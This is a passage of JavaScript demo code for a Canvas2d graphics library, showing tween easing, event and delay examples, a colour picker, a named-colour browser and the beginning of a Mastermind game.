var sprite = new Canvas2d.Sprite('sprite_0');
var spriteLabel = new Canvas2d.Sprite('sprite_label');
var tween = new Canvas2d.Tweener();
var rect, label;
var labList = ['easeInOutQuad', 'easeInOutExpo',
'easeInOutBounce', 'easeInOutElastic'];
for (var i = 0; i < 4; i++) {
label = new Canvas2d.DisplayObjects(i.toString());
label.text(labList[i], 0, 0, 'normal', 16, 'Tahoma', 'black');
label.paddingLeft = label.paddingTop = 5;
label.x = stage.width - 70;
label.y = 50 + (label.height * i) + (50 * i);
label.left = false;
label.ease = labList[i];
label.addEvent('mouseover', mOver);
label.addEvent('mouseout', mOut);
label.addEvent('click', start);
spriteLabel.add(label);
rect = new Canvas2d.DisplayObjects();
rect.rect(-25, -25, 50, 50, 'lightseagreen', 'lightblue', 4);
rect.x = 40;
rect.y = label.y;
sprite.add(rect);
}
stage.add(sprite);
stage.add(spriteLabel);
stage.draw();
function start(e) {
var child = sprite.children[parseInt(e.target.name)];
var x = e.target.left ? 40 : 390;
tween.addTweener(child, {
'x': x, 'duration': 2000, 'ease': e.target.ease});
e.target.left = e.target.left ? false : true;
}
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.backGround = {'color': 'lightgrey'};
e.target.color = 'ivory';
spriteLabel.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.backGround = null;
e.target.color = 'black';
spriteLabel.draw();
}
},
events: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var spriteLabel = new Canvas2d.Sprite('sprite_label');
var tween = new Canvas2d.Tweener();
var rect, label, labList = [], tweList = ['X', 'Y', 'Color',
'onStart', 'onTween', 'onEnd'];
rect = new Canvas2d.DisplayObjects();
rect.rect(-50, -50, 100, 100, 'lightseagreen', 'lightblue', 4);
rect.x = stage.width / 2;
rect.y = stage.height / 2;
sprite.add(rect);
for (var i = 0; i < tweList.length; i++) {
label = new Canvas2d.DisplayObjects(tweList[i]);
label.text(tweList[i], 0, 0, 'normal', 16, 'Tahoma',
'black', null, 'end', 'top');
label.paddingLeft = label.paddingTop = 5;
label.x = stage.width - 80;
label.y = 40 + (label.height * i) + (20 * i);
spriteLabel.add(label);
labList.push(label);
label = new Canvas2d.DisplayObjects(tweList[i]);
label.text('', 0, 0, 'normal', 16, 'Tahoma',
'black', null, 'start', 'top');
label.paddingLeft = label.paddingTop = 5;
spriteLabel.add(label);
labList.push(label);
if (i === 4 || i === 5) {
label.fontSize = 20;
label.txt = i === 4 ? 'Start' : 'Stop';
label.name = label.txt;
label.align = 'end';
label.x = i === 4 ? stage.width - 80 : stage.width - 30;
label.y = stage.height - 40;
label.addEvent('mouseover', mOver);
label.addEvent('mouseout', mOut);
var func = i === 4 ? start : stop;
label.addEvent('click', func);
continue;
}
label.x = stage.width - 60;
label.y = 40 + (label.height * i) + (20 * i);
}
stage.add(sprite);
stage.add(spriteLabel);
stage.draw();
function start() {
tween.addTweener(rect, {
'x': 50 + Math.random() * 300,
'y': 50 + Math.random() * 200,
'color': Colors.RandomRgb(),
'onStart': onStart,
'onTween': onTween,
'onEnd': onEnd,
'duration': 2000,
'ease': 'easeInOutQuad'});
}
function onStart(e) {
tween.addTweener(labList[8], {'color': 'lightblue', 'duration': 500});
labList[6].color = 'red';
tween.addTweener(labList[6], {'color': 'black', 'duration': 700});
setLabels();
}
function onTween(e) {
setLabels();
spriteLabel.draw();
}
function onEnd(e) {
labList[8].color = 'black';
labList[10].color = 'green';
tween.addTweener(labList[10], {'color': 'black', 'duration': 700});
setLabels();
start();
}
function setLabels() {
labList[1].txt = Math.round(rect.x).toString();
labList[3].txt = Math.round(rect.y).toString();
labList[5].txt = ' ';
labList[5].backGround = {'color': rect.color};
}
function stop() {
tween.removeTweener(rect);
}
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.backGround = {'color': 'lightgrey'};
spriteLabel.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.backGround = null;
spriteLabel.draw();
}
},
delay: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var spriteLabel = new Canvas2d.Sprite('sprite_label');
var tween = new Canvas2d.Tweener();
var rect, label, rectList = [];
var labList = ['Start', 'Delay 500ms', 'Delay 1000ms', 'Delay 1500ms'];
for (var i = 0; i < 4; i++) {
label = new Canvas2d.DisplayObjects(i.toString());
label.text(labList[i], 0, 0, 'normal', 14, 'Tahoma',
'silver', null, 'center', 'middle');
label.paddingLeft = label.paddingTop = 5;
label.x = stage.width - 80;
label.y = 50 + (label.height * i) + (50 * i);
if (i === 0) {
label.align = 'start';
label.fontSize = 16;
label.color = 'black';
label.left = false;
label.addEvent('mouseover', mOver);
label.addEvent('mouseout', mOut);
label.addEvent('click', start);
}
spriteLabel.add(label);
rect = new Canvas2d.DisplayObjects();
rect.rect(-25, -25, 50, 50, 'lightseagreen', 'lightblue', 4);
rect.x = 40;
rect.y = label.y;
sprite.add(rect);
rectList.push(rect);
}
stage.add(sprite);
stage.add(spriteLabel);
stage.draw();
function start(e) {
for (var i = 0; i < sprite.children.length; i++) {
tween.removeTweener(sprite.children[i]);
var x = e.target.left ? 40 : 400;
tween.addTweener(sprite.children[i], {
'x': x, 'duration': 2000, 'ease': 'easeInOutQuad',
'delay': (i * 500)
});
}
e.target.left = e.target.left ? false : true;
}
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.backGround = {'color': 'lightgrey'};
e.target.color = 'ivory';
spriteLabel.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.backGround = null;
e.target.color = 'black';
spriteLabel.draw();
}
},
color4: function(c, w, h, params) {
}
},
addTweener: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var spriteLabel = new Canvas2d.Sprite('sprite_label');
var tween = new Canvas2d.Tweener();
var rect, label, tweList = ['Coordinates', 'Length',
'Color', 'Rotation', 'Scale', 'Default'];
rect = new Canvas2d.DisplayObjects();
rect.rect(-50, -50, 100, 100, 'lightseagreen', 'lightblue', 4);
rect.x = stage.width / 2;
rect.y = stage.height / 2;
sprite.add(rect);
for (var i = 0; i < tweList.length; i++) {
label = new Canvas2d.DisplayObjects(tweList[i]);
label.text(tweList[i], 0, 0, 'normal', 16, 'Tahoma',
'black', null, 'start', 'top');
label.paddingLeft = label.paddingTop = 5;
label.x = stage.width - 120;
label.y = 20 + (label.height * i) + (20 * i);
label.addEvent('mouseover', mOver);
label.addEvent('mouseout', mOut);
label.addEvent('click', addTween);
spriteLabel.add(label);
}
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.backGround = {'color': 'lightgrey'};
e.target.color = 'ivory';
spriteLabel.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.backGround = null;
e.target.color = 'black';
spriteLabel.draw();
}
function addTween(e) {
switch (e.target.name) {
case tweList[0]:
tween.addTweener(rect, {
'x': Math.random() * (stage.width - rect.x),
'y': Math.random() * (stage.height - rect.y),
'duration': 1000, 'ease': 'easeNone'});
break;
case tweList[1]:
tween.addTweener(rect, {
'width': Math.random() * 300,
'height': Math.random() * 300,
'duration': 1000, 'ease': 'easeNone'});
break;
case tweList[2]:
tween.addTweener(rect, {
'color': Colors.RandomRgb(),
'duration': 1000, 'ease': 'easeNone'});
break;
case tweList[3]:
tween.addTweener(rect, {
'rotation': Math.random() * (Math.PI * 8),
'duration': 1000, 'ease': 'easeNone'});
break;
case tweList[4]:
var scale = Math.random() * 2;
tween.addTweener(rect, {
'scaleX': scale,
'scaleY': scale,
'duration': 1000, 'ease': 'easeNone'});
break;
case tweList[5]:
tween.removeTweener(rect);
rect.width = rect.height = 100;
rect.scaleX = rect.scaleY = 1;
rect.rotation = 0;
rect.color = 'lightseagreen';
rect.x = stage.width / 2;
rect.y = stage.height / 2;
sprite.draw();
break;
default:
break;
}
}
stage.add(sprite);
stage.add(spriteLabel);
stage.draw();
},
removeTweener: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var spriteLabel = new Canvas2d.Sprite('sprite_label');
var tween = new Canvas2d.Tweener();
var rect, label, tweList = ['Coordinates', 'Length',
'Color', 'Rotation', 'Scale', 'Default'];
rect = new Canvas2d.DisplayObjects();
rect.rect(-50, -50, 100, 100, 'lightseagreen', 'lightblue', 4);
rect.x = stage.width / 2;
rect.y = stage.height / 2;
sprite.add(rect);
for (var i = 0; i < tweList.length; i++) {
label = new Canvas2d.DisplayObjects(tweList[i]);
label.text(tweList[i], 0, 0, 'normal', 16, 'Tahoma',
'black', null, 'start', 'top');
label.paddingLeft = label.paddingTop = 5;
label.x = stage.width - 120;
label.y = 20 + (label.height * i) + (20 * i);
label.addEvent('mouseover', mOver);
label.addEvent('mouseout', mOut);
label.addEvent('click', addTween);
spriteLabel.add(label);
}
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.backGround = {'color': 'lightgrey'};
e.target.color = 'ivory';
spriteLabel.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.backGround = null;
e.target.color = 'black';
spriteLabel.draw();
}
function addTween(e) {
switch (e.target.name) {
case tweList[0]:
tween.addTweener(rect, {
'x': Math.random() * (stage.width - rect.x),
'y': Math.random() * (stage.height - rect.y),
'duration': 1000, 'ease': 'easeNone'});
break;
case tweList[1]:
tween.addTweener(rect, {
'width': Math.random() * 300,
'height': Math.random() * 300,
'duration': 1000, 'ease': 'easeNone'});
break;
case tweList[2]:
tween.addTweener(rect, {
'color': Colors.RandomRgb(),
'duration': 1000, 'ease': 'easeNone'});
break;
case tweList[3]:
tween.addTweener(rect, {
'rotation': Math.random() * (Math.PI * 8),
'duration': 1000, 'ease': 'easeNone'});
break;
case tweList[4]:
var scale = Math.random() * 2;
tween.addTweener(rect, {
'scaleX': scale,
'scaleY': scale,
'duration': 1000, 'ease': 'easeNone'});
break;
case tweList[5]:
tween.removeTweener(rect);
rect.width = rect.height = 100;
rect.scaleX = rect.scaleY = 1;
rect.rotation = 0;
rect.color = 'lightseagreen';
rect.x = stage.width / 2;
rect.y = stage.height / 2;
sprite.draw();
break;
default:
break;
}
}
stage.add(sprite);
stage.add(spriteLabel);
stage.draw();
},
ease: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var spriteLabel = new Canvas2d.Sprite('sprite_label');
var tween = new Canvas2d.Tweener();
var grid, graph, rect, label, left, right = new Canvas2d.DisplayObjects('text_right'), x, ct = 0, color = 360 / 1000;
right.text('Right', 0, 0, 'normal', 20, 'Helvetica', 'black', null, 'start', 'top');
right.y = 30;
right.x = 100;
right.paddingLeft = right.paddingTop = 8;
right.addEvent('mouseover', mOver);
right.addEvent('mouseout', mOut);
left = right.clone('text_left');
left.txt = 'Left';
left.x = 20;
label = right.clone('text_label');
label.txt = params[1];
label.x = w - 250;
right.addEvent('click', startStop);
left.addEvent('click', startStop);
grid = new Canvas2d.DisplayObjects('grid', false);
grid.polygon(0, 0, [[0, 0], [w - 80, 0], [w - 80, h - 160], [0, h - 160]], null, 'lightgray', 2, true);
grid.x = 40;
grid.y = 80;
grid.lineAlpha = 0.3;
graph = new Canvas2d.DisplayObjects('graph', false);
graph.polygon(0, 0, [[0, 0], [0, 0]], null, 'blue', 2, false);
graph.x = 40;
graph.y = h - 80;
graph.lineAlpha = 0.5;
rect = new Canvas2d.DisplayObjects('rect', false);
rect.rect(0, 0, 50, 50, 'lightseagreen', 'lightblue', 4);
rect.x = 10;
rect.y = h / 2 - rect.height / 2;
function startStop(e) {
x = e.target.name === 'text_right' ? w - 10 - rect.width : 10;
graph.points = [[0, 0], [0, 0]];
ct = 0;
tween.addTweener(rect, {x: x, duration: 1000, ease: params[1], onTween: loop});
}
function mOver(e) {
if (e.target.name === 'text_label')
return;
stage.container.style.cursor = 'pointer';
e.target.backGround = {color: 'lightgray'};
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.backGround = null;
e.target.parent.draw();
}
function loop(e) {
graph.points.push([(w - 80) * (ct / 994), -tween[params[1]](ct, 0, h - 160, 994)]);
graph.lineColor = 'hsl(' + (color * ct) + ',100%,50%)';
ct += stage.getTimeInterval();
}
sprite.add(grid);
sprite.add(graph);
sprite.add(rect);
spriteLabel.add(label);
spriteLabel.add(left);
spriteLabel.add(right);
stage.add(sprite);
stage.add(spriteLabel);
stage.draw();
}
},
Colors: {
examples: {
color: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var specContainer = new Canvas2d.Sprite('sprite_1');
var piccolors = ['mintcream', 'rgb(216,191,216)',
[210, 180, 140], 'hsl(120,100%,50%)'];
for (var i = 0; i < 4; i++) {
var pict = new Canvas2d.DisplayObjects();
pict.rect(0, 0, 50, 20, piccolors[i], 'silver', 4);
pict.lineAlpha = 0.6;
pict.x = 30;
pict.y = 20 + (20 * i) + (50 * i);
var hex, rgb, hsl, hsv, name, ar;
hex = pict.getColor('hex');
rgb = pict.getColor('rgb');
hsl = pict.getColor('hsl');
hsv = pict.getColor('hsv');
;
name = pict.getColor('name');
ar = pict.getColor('array');
var colors = [hex, rgb, hsl, hsv, name, ar];
for (var l = 0; l < colors.length; l++) {
var label = new Canvas2d.DisplayObjects();
label.text(colors[l], 0, 0, 'normal', 10, 'Tahoma',
'black', null, 'start', 'bottom');
label.x = pict.x + pict.width + 18;
label.y = pict.y + (11 * l);
sprite.add(label);
}
sprite.add(pict);
}
for (i = 0; i < 360; i++) {
var spec = new Canvas2d.DisplayObjects();
var start = (Math.PI * 2) * (i / 360);
var end = (Math.PI * 2) * ((i + 1) / 360);
var rad = 80;
spec.polygon(0, 0, [[0, 0],
[(rad * Math.cos(start)), (rad * Math.sin(start))],
[(rad * Math.cos(end)), (rad * Math.sin(end))], [0, 0]],
'hsl(' + i + ',100%,50%)');
specContainer.add(spec);
}
specContainer.x = 460;
specContainer.y = 90;
;
stage.add(specContainer);
stage.add(sprite);
stage.draw();
},
color2: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var slider = new Canvas2d.Sprite('sprite_0');
var mask = new Canvas2d.Sprite();
var samples = new Canvas2d.Sprite();
var colorTable = new Canvas2d.DisplayObjects();
colorTable.rect(0, 0, 26, 180);
colorTable.x = 120;
colorTable.y = stage.height / 2 - colorTable.height / 2;
var slideHandler = new Canvas2d.DisplayObjects();
var slideObj = [{'moveTo': [-4, 3]}, {'quadraticCurveTo': [-4, 0, -1, 0]},
{'lineTo': [9, 0]}, {'quadraticCurveTo': [11, 1, 13, 2]},
{'lineTo': [16, 5]}, {'quadraticCurveTo': [17, 7, 16, 9]},
{'lineTo': [13, 12]}, {'quadraticCurveTo': [11, 13, 9, 14]},
{'lineTo': [-1, 14]}, {'quadraticCurveTo': [-4, 14, -4, 11]},
{'lineTo': [-4, 3]}];
slideHandler.shape(-2, -7, slideObj, 'lightgrey', 'slategrey', 2);
slideHandler.shadow = {'color': 'hsla(0,0%,0%,0.6)',
'blur': 8, 'offsetX': 4, 'offsetY': 4};
slideHandler.addEvent('drag', onDragHandler);
slideHandler.addEvent('mouseover', overHandler);
slideHandler.addEvent('mouseout', outHandler);
slideHandler.x = colorTable.x;
slideHandler.y = colorTable.y;
var pict = new Canvas2d.DisplayObjects();
pict.rect(0, 0, 180, 180, 'hsl(0,100%,50%)', 'silver', 2);
pict.x = colorTable.x + colorTable.width + 20;
pict.y = colorTable.y;
var pictCircle = new Canvas2d.DisplayObjects();
pictCircle.circle(0, 0, 10, 0, Math.PI * 2, null, 'grey', 2);
pictCircle.lineShadow = {'color': 'hsla(0,0%,0%,0.6)',
'blur': 4, 'offsetX': 2, 'offsetY': 3};
pictCircle.x = pict.x + pict.width / 2;
pictCircle.y = pict.y + pict.height;
pictCircle.addEvent('mouseover', overHandler);
pictCircle.addEvent('mouseout', outHandler);
pictCircle.addEvent('drag', dDrag);
var sample = new Canvas2d.DisplayObjects();
sample.rect(0, 0, 50, 50, 'hsl(0,100%,50%)', 'silver', 2);
sample.x = pict.x + pict.width + 20;
sample.y = pict.y + pict.width - sample.height;
var black = new Canvas2d.DisplayObjects();
black.rect(0, 0, 180, 180);
black.x = pict.x;
black.y = pict.y;
black.gradient = {'color': ['rgba(0,0,0,0.9)', 'rgba(128,128,128,0.25)',
'rgba(128,128,128,0)', 'rgba(128,128,128,0.2)',
'rgba(255,255,255,0.9)'],
'offset': [0, 0.38, 0.5, 0.62, 1], 'type': 'linear',
'coord': {'x0': 0, 'y0': 0, 'x1': 180, 'y1': 0}};
var white = new Canvas2d.DisplayObjects();
white.rect(0, 0, 180, 180);
white.x = pict.x;
white.y = pict.y;
white.gradient = {'color': ['rgba(128,128,128,1)',
'rgba(128,128,128,0)'],
'offset': [0, 1], 'type': 'linear',
'coord': {'x0': 0, 'y0': 0, 'x1': 0, 'y1': 180}};
var colStop = [];
var offsetStop = [];
for (var i = 0; i < 12; i++) {
o = (1 * (i / 12));
c = 'hsl(' + ((i / 12) * 360) + ',100%,50%)';
colStop.push(c);
offsetStop.push(o);
}
colorTable.gradient = {'color': colStop, 'offset': offsetStop,
'type': 'linear', 'coord': {'x0': 0, 'y0': 0, 'x1': 0, 'y1': 180}};
var labels = [];
var labList = ['H 0°', 'S 100%', 'L 50%', 'R 255', 'G 0', 'B 0'];
for (i = 0; i < labList.length; i++) {
var lab = new Canvas2d.DisplayObjects();
lab.text(labList[i], 0, 0, 'bold', 16, 'Tahoma',
[180, 180, 180], null, 'start', 'hanging');
lab.x = pict.x + pict.width + 20;
lab.y = i === 3 ? pict.y + (lab.height * i) + (2 * i) + 10 : i > 3 ? pict.y +
(lab.height * i) + (2 * i) + 10 : pict.y + (lab.height * i) + (2 * i);
labels.push(lab);
samples.add(lab);
}
slider.add(slideHandler);
slider.add(pictCircle);
mask.add(colorTable);
mask.add(white);
mask.add(black);
samples.add(sample);
samples.add(pict);
stage.add(samples);
stage.add(mask);
stage.add(slider);
stage.draw();
var getHue = 0, getSat = 100, getLight = 50, rgb, limitX = 0,
limitY = 0, levelX = 0, levelY = 0;
function setLabels(h, s, l) {
pict.color = 'hsl(' + h + ',100%,50%)';
rgb = Colors.HslToRgb(h / 360, s / 100, l / 100);
labels[0].txt = 'H ' + Math.round(h).toString() + '°';
labels[1].txt = 'S ' + Math.round(s).toString() + '%';
labels[2].txt = 'L ' + Math.round(l).toString() + '%';
labels[3].txt = 'R ' + rgb[0].toString();
labels[4].txt = 'G ' + rgb[1].toString();
labels[5].txt = 'B ' + rgb[2].toString();
sample.color = 'hsl(' + h + ',' + s + '%,' + l + '%)';
samples.draw();
}
function onDragHandler(e) {
limitY = e.mouse.oy - colorTable.y;
levelY = e.mouse.oy;
if (limitY >= 0 && limitY <= colorTable.height) {
levelY = e.mouse.oy;
} else {
if (limitY <= 0) {
levelY = colorTable.y;
} else {
levelY = colorTable.height + colorTable.y;
}
}
getHue = ((Math.abs(levelY - pict.y) / 180) * 360);
setLabels(getHue, getSat, getLight);
e.target.y = levelY;
slider.draw();
}
function dDrag(e) {
limitY = e.mouse.oy - pict.y;
limitX = e.mouse.ox - pict.x;
levelY = e.mouse.oy;
levelX = e.mouse.ox;
if (limitY >= 0 && limitY <= pict.height) {
levelY = e.mouse.oy;
} else {
if (limitY <= 0) {
levelY = pict.y;
} else {
levelY = pict.height + pict.y;
}
}
if (limitX >= 0 && limitX <= pict.width) {
levelX = e.mouse.ox;
} else {
if (limitX <= 0) {
levelX = pict.x;
} else {
levelX = pict.width + pict.x;
}
}
getSat = ((Math.abs(levelY - pict.y) / 180) * 100);
getLight = ((Math.abs(levelX - pict.x) / 180) * 100);
setLabels(getHue, getSat, getLight);
e.target.y = levelY;
e.target.x = levelX;
slider.draw();
}
function overHandler() {
stage.container.style.cursor = 'pointer';
}
function outHandler() {
stage.container.style.cursor = 'default';
}
},
color3: function(c, w, h, params) {
},
color4: function(c, w, h, params) {
}
},
namedColor: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('main');
var colorResult = new Canvas2d.Sprite('sprite_labels', false);
var colorScroll = new Canvas2d.Sprite('sprite_scroll');
var cref = new Canvas2d.DisplayObjects('colorname');
cref.rect(0, -50, 100, 100, 'black', 'black', 2);
cref.x = 700;
cref.y = stage.height / 2;
var cname = new Canvas2d.DisplayObjects('colorname'), chex, crgb;
cname.text('Color Name: ', 0, 0, 'bold', 22, 'Helvetica', [200,34,35], null, 'start', 'middle');
cname.y = (stage.height / 2) - 30;
cname.x = 300;
chex = cname.clone('colorhex');
chex.txt = 'Hex Value: ';
chex.y = (stage.height / 2);
crgb = cname.clone('colorarray');
crgb.txt = 'Rgb Value: ';
crgb.y = (stage.height / 2) + 30;
colorResult.add(cname);
colorResult.add(chex);
colorResult.add(crgb);
colorResult.add(cref);
var scroll = new Canvas2d.DisplayObjects('scroll');
scroll.rectRound(-10, 4, 18, 60, 8, 'lightgray');
scroll.x = 230;
scroll.addEvent('drag', drag);
scroll.addEvent('mouseover', mOver);
scroll.addEvent('mouseout', mOut);
var mask = new Canvas2d.DisplayObjects('mask');
mask.rect(0, 0, 220, 300, null);
mask.mask = true;
colorScroll.add(mask);
var l, i = 0, sh = 20;
for(var o in Colors.namedColor) {
l = new Canvas2d.DisplayObjects(o);
l.text(o, 0, 0, 'normal', 18, 'Helvetica', 'black', null, 'start', 'top');
l.addEvent('mouseover', mOver);
l.addEvent('mouseout', mOut);
l.addEvent('click', click);
l.x = 10;
l.y = 4 + (20 * i);
colorScroll.add(l);
i++;
}
sh = l.y;
colorScroll.y = 20;
sprite.add(scroll);
stage.add(colorResult);
stage.add(colorScroll);
stage.add(sprite);
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = e.target.name === 'scroll' ? 'gray' : Colors.Invert(e.target.name);
e.target.backGround = e.target.name === 'scroll' ? null : {color : e.target.name};
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = e.target.name === 'scroll' ? 'lightgray' : 'black';
e.target.backGround = null;
e.target.parent.draw();
}
function click(e){
cname.txt = 'Color Name: ' + e.target.name;
chex.txt = 'Hex Value: ' + Colors.namedColor[e.target.name][0];
crgb.txt = 'Rgb Value: ' + Colors.namedColor[e.target.name][1][0] + ', ' + Colors.namedColor[e.target.name][1][1] + ', ' + Colors.namedColor[e.target.name][1][2];
cref.color = e.target.name;
colorResult.draw();
}
function drag(e){
e.target.y=e.mouse.oy>-1&&e.mouse.oy<298-e.target.height?e.mouse.oy:e.target.y;
colorScroll.y=-(((sh-280)/(280-scroll.height))*(e.target.y));
mask.y = Math.abs(colorScroll.y);
colorScroll.draw();
sprite.draw();
}
stage.draw();
}
}
};
var mastermind = function(c, w, h, params) {
function init(img) {
var w = 320, h = 520;
var cont2 = document.getElementById('holdercontainer');
cont2.style.width = '560px';
cont2.style.height = '520px';
var stage = new Canvas2d.Stage('container', w, h);
var main = new Canvas2d.Sprite('main');
var deck = new Canvas2d.Sprite('deck');
var ok_btn = new Canvas2d.Sprite('ok_btn');
var sphere = new Canvas2d.Sprite('sphere');
var master_board = new Canvas2d.Sprite('master_b');
var picker = new Canvas2d.Sprite('picker');
picker.x = 40;
picker.y = 40;
var guess_board = new Canvas2d.Sprite('guess_board'),
gcoord = [[-5, -5], [5, -5], [-5, 5], [5, 5]];
var rows = {}, rowa = [];
var color = ['crimson', 'forestgreen', 'gold',
'darkviolet', 'darkorange', 'mediumblue'];
var master = [Math.round(Math.random() * 5), Math.round(Math.random() * 5)
, Math.round(Math.random() * 5), Math.round(Math.random() * 5)];
var master_sphere = [], gapo = 26, gapv = 110;
var currentElement = null, currentRow = 0;
picker.visible = false;
master_board.visible = false;
var pat = main.ctx.createPattern(img, 'repeat');
var p = new Canvas2d.DisplayObjects();
p.rectRound(0, 0, w - 8,
h - 8, 20, null, 'burlywood', 4);
p.x = 4;
p.y = 4;
p.color = pat;
main.add(p);
for (var i = 0; i < 10; i++) {
rows['row' + (10 - i)] = {id: (10 - i)};
var n = new Canvas2d.DisplayObjects('label_' + (10 - i));
n.text(10 - i, 0, 0, 'bold', 26, 'Arial',
'burlywood', null, 'center', 'middle');
n.lineColor = 'burlywood';
n.lineShadow = {color: 'gray', offsetX: 1, offsetY: 1, blur: 1};
n.x = gapo;
n.y = gapv + (40 * i);
deck.add(n);
rows['row' + (10 - i)]['sphere'] = [];
for (var a = 0; a < 4; a++) {
var c = new Canvas2d.DisplayObjects('circle_' + (10 - i) + a);
c.circle(0, 0, 16, 0, Math.PI * 2, null);
c.x = n.x + (n.x * 1.5) + (((w - (n.x + (n.x * 1.5) +
(c.radius * 2))) / 4) * a);
c.y = gapv + (40 * i);
c.data = {code: -1};
sphere.add(c);
rows['row' + (10 - i)]['sphere'].push(c);
var cb = c.clone('cb_' + (10 - i) + a);
cb.gradient = {'offset': [0, 0.1, 0.2, 1],
'color': ['black', 'burlywood', 'rgba(255,255,255,0)', 'black'],
'type': 'radial',
'coord': {'x0': 0, 'y0': 0, 'r0': 3, 'x1': 0, 'y1': 0, 'r1': 30}};
main.add(cb);
}
var guess = new Canvas2d.DisplayObjects('guess_sqr_' + (10 - i));
var m1 = c.radius * 1.5, m = m1 / 2;
guess.rect(-m, -m, m1, m1, 'rgba(120,120,120,0.1)',
'rgba(120,120,120,0.1)', 1);
guess.x = c.x + (c.radius * 2) + 3;
guess.y = c.y;
guess.lineShadow = {color: 'black', offsetX: 0, offsetY: 0, blur: 1};
guess_board.add(guess);
rows['row' + (10 - i)]['guess'] = [];
for (a = 0; a < 4; a++) {
c = new Canvas2d.DisplayObjects('guess_circle_' + (10 - i) + a);
c.circle(0, 0, 4, 0, Math.PI * 2, null);
c.x = guess.x + gcoord[a][0];
c.y = guess.y + gcoord[a][1];
c.shadow = {color: 'black', offsetX: 1, offsetY: 1, blur: 1};
guess_board.add(c);
rows['row' + (10 - i)]['guess'].push(c);
}
rowa.push(rows['row' + (10 - i)]);
}
rowa.reverse();
var ok = new Canvas2d.DisplayObjects('btn');
var okb = new Canvas2d.DisplayObjects('btnb');
okb.circle(0, 0, 10, 0, Math.PI * 2, 'ivory', 'green', 1);
okb.alpha = 0.6;
okb.lineShadow = {color: 'black', offsetX: 1, offsetY: 1, blur: 2};
var points = [[-5, 0], [0, 6], [8, -6], [0, 2], [-5, 0]];
ok.polygon(0, 0, points, 'green');
ok_btn.add(okb);
ok_btn.add(ok);
ok_btn.x = guess.x + 28;
ok_btn.y = guess.y;
ok_btn.addEvent('mouseover', overBtn);
ok_btn.addEvent('mouseout', outBtn);
ok_btn.addEvent('click', clickBtn);
var pick = new Canvas2d.DisplayObjects('pick_0');
pick.circle(0, 0, 38, 0, Math.PI * 2);
pick.gradient = {'offset': [0, 1],
'color': ['rgba(255,255,255,0)', 'rgba(120,120,120,0.2)'],
'type': 'radial',
'coord': {'x0': 0, 'y0': 0, 'r0': 10, 'x1': 0, 'y1': 0, 'r1': 20}};
pick.shadow = {color: 'black', offsetX: 0, offsetY: 0, blur: 15};
picker.add(pick);
for (a = 0; a < color.length; a++) {
c = new Canvas2d.DisplayObjects('circle_' + a);
c.circle(0, 0, 10, 0, Math.PI * 2, color[a]);
var g = {'offset': [0, 1], 'color': ['ivory', color[a]],
'type': 'radial',
'coord': {'x0': -4, 'y0': -4, 'r0': 1, 'x1': -2, 'y1': -2, 'r1': 14}};
c.data = {colorid: a, g: g, code: a,
s: {color: 'black', offsetX: 1, offsetY: 1, blur: 5}};
c.x = Math.cos(Math.PI / 3 * a) * 24;
c.y = Math.sin(Math.PI / 3 * a) * 24;
picker.add(c);
c.addEvent('click', clickPicker);
}
function clickPicker(e) {
picker.visible = false;
currentElement.gradient = e.target.data.g;
currentElement.shadow = e.target.data.s;
currentElement.data.code = e.target.data.code;
currentElement.parent.draw();
picker.draw();
}
function clickPick(e) {
picker.visible = true;
picker.x = e.target.x;
picker.y = e.target.y;
currentElement = e.target;
picker.draw();
}
function overBtn(e) {
pointer(true);
}
function outBtn(e) {
pointer(false);
}
function pointer(cursor) {
stage.container.style.cursor = cursor ? 'pointer' : 'default';
}
function clickBtn(e) {
var check = false, tocheck = [];
for (var i = 0; i < rowa[currentRow].sphere.length; i++) {
if (rowa[currentRow].sphere[i].data.code === -1) {
check = false;
break;
} else {
check = true;
tocheck.push(rowa[currentRow].sphere[i].data.code);
}
}
if (check) {
checkGuess(tocheck);
}
}
for (a = 0; a < master.length; a++) {
c = new Canvas2d.DisplayObjects('master_' + a);
c.circle(0, 0, 16, 0, Math.PI * 2);
c.x = n.x + (n.x * 1.5) + (((w - (n.x + (n.x * 1.5) +
(c.radius * 2))) / 4) * a);
c.y = 64;
c.gradient = {'offset': [0, 1],
'color': ['ivory', color[master[a]]],
'type': 'radial',
'coord': {'x0': -5, 'y0': -5, 'r0': 2, 'x1': 0, 'y1': 0, 'r1': 16}};
c.shadow = {color: 'black', offsetX: 1, offsetY: 1, blur: 4};
master_board.add(c);
master_sphere.push(c);
}
var label_result = new Canvas2d.DisplayObjects('lr');
label_result.text('Hai Perso', 0, 0, 'bold', 24,
'Arial', null, null, 'left', 'middle');
label_result.lineColor = 'burlywood';
label_result.lineShadow = {color: 'black', offsetX: 1, offsetY: 1, blur: 1};
label_result.x = master_sphere[0].x;
label_result.y = c.y - 40;
master_board.add(label_result);
function setCurrentRow(n) {
var cr = rowa[n];
for (i = 0; i < cr.sphere.length; i++) {
cr.sphere[i].addEvent('click', clickPick);
cr.sphere[i].addEvent('mouseover', overBtn);
cr.sphere[i].addEvent('mouseout', outBtn);
}
